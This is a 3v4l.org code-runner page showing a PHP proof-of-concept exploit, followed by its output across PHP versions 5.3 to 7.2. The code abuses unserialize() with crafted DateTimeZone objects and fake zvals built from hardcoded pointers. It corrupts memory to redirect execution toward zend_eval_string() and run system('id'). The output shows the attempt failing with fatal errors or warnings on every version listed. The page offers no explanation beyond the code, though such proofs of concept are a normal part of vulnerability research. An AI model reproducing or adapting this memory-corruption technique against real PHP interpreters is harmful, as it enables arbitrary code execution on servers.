3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php $f = 'system'; $c = 'id'; $fakezval1 = ptr2str(0x100b83008); $fakezval1 .= ptr2str(0x8); $fakezval1 .= "\x00\x00\x00\x00"; $fakezval1 .= "\x06"; $fakezval1 .= "\x00"; $fakezval1 .= "\x00\x00"; $data1 = 'a:3:{i:0;O:12:"DateTimeZone":2:{s:13:"timezone_type";a:1:{i:0;i:1;}s:8:"timezone";s:3:"UTC";}i:1;s:'.strlen($fakezval1).':"'.$fakezval1.'";i:2;a:1:{i:0;R:4;}}'; $x = unserialize($data1); $y = $x[2]; // zend_eval_string()'s address $y[0][0] = "\x6d"; $y[0][1] = "\x1e"; $y[0][2] = "\x35"; $y[0][3] = "\x00"; $y[0][4] = "\x01"; $y[0][5] = "\x00"; $y[0][6] = "\x00"; $y[0][7] = "\x00"; $fakezval2 = ptr2str(0x3b296324286624); // $f($c); $fakezval2 .= ptr2str(0x100b83000); $fakezval2 .= "\x00\x00\x00\x00"; $fakezval2 .= "\x05"; $fakezval2 .= "\x00"; $fakezval2 .= "\x00\x00"; $data2 = 'a:3:{i:0;O:12:"DateTimeZone":2:{s:13:"timezone_type";a:1:{i:0;i:1;}s:8:"timezone";s:3:"UTC";}i:1;s:'.strlen($fakezval2).':"'.$fakezval2.'";i:2;O:12:"DateTimeZone":2:{s:13:"timezone_type";a:1:{i:0;R:4;}s:8:"timezone";s:3:"UTC";}}'; $z = unserialize($data2); function ptr2str($ptr) { $out = ""; for ($i=0; $i<8; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; } ?>
Output for 7.1.0 - 7.2.0
Fatal error: Uncaught Error: Timezone initialization failed in /in/OY6lL:15 Stack trace: #0 [internal function]: DateTimeZone->__wakeup() #1 /in/OY6lL(15): unserialize('a:3:{i:0;O:12:"...') #2 {main} thrown in /in/OY6lL on line 15
Process exited with code 255.
Output for 5.5.24 - 7.0.20
Fatal error: DateTimeZone::__wakeup(): Timezone initialization failed in /in/OY6lL on line 15
Process exited with code 255.
Output for 5.3.20 - 5.4.45
Warning: Cannot use a scalar value as an array in /in/OY6lL on line 19 Warning: Cannot use a scalar value as an array in /in/OY6lL on line 20 Warning: Cannot use a scalar value as an array in /in/OY6lL on line 21 Warning: Cannot use a scalar value as an array in /in/OY6lL on line 22 Warning: Cannot use a scalar value as an array in /in/OY6lL on line 23 Warning: Cannot use a scalar value as an array in /in/OY6lL on line 24 Warning: Cannot use a scalar value as an array in /in/OY6lL on line 25 Warning: Cannot use a scalar value as an array in /in/OY6lL on line 26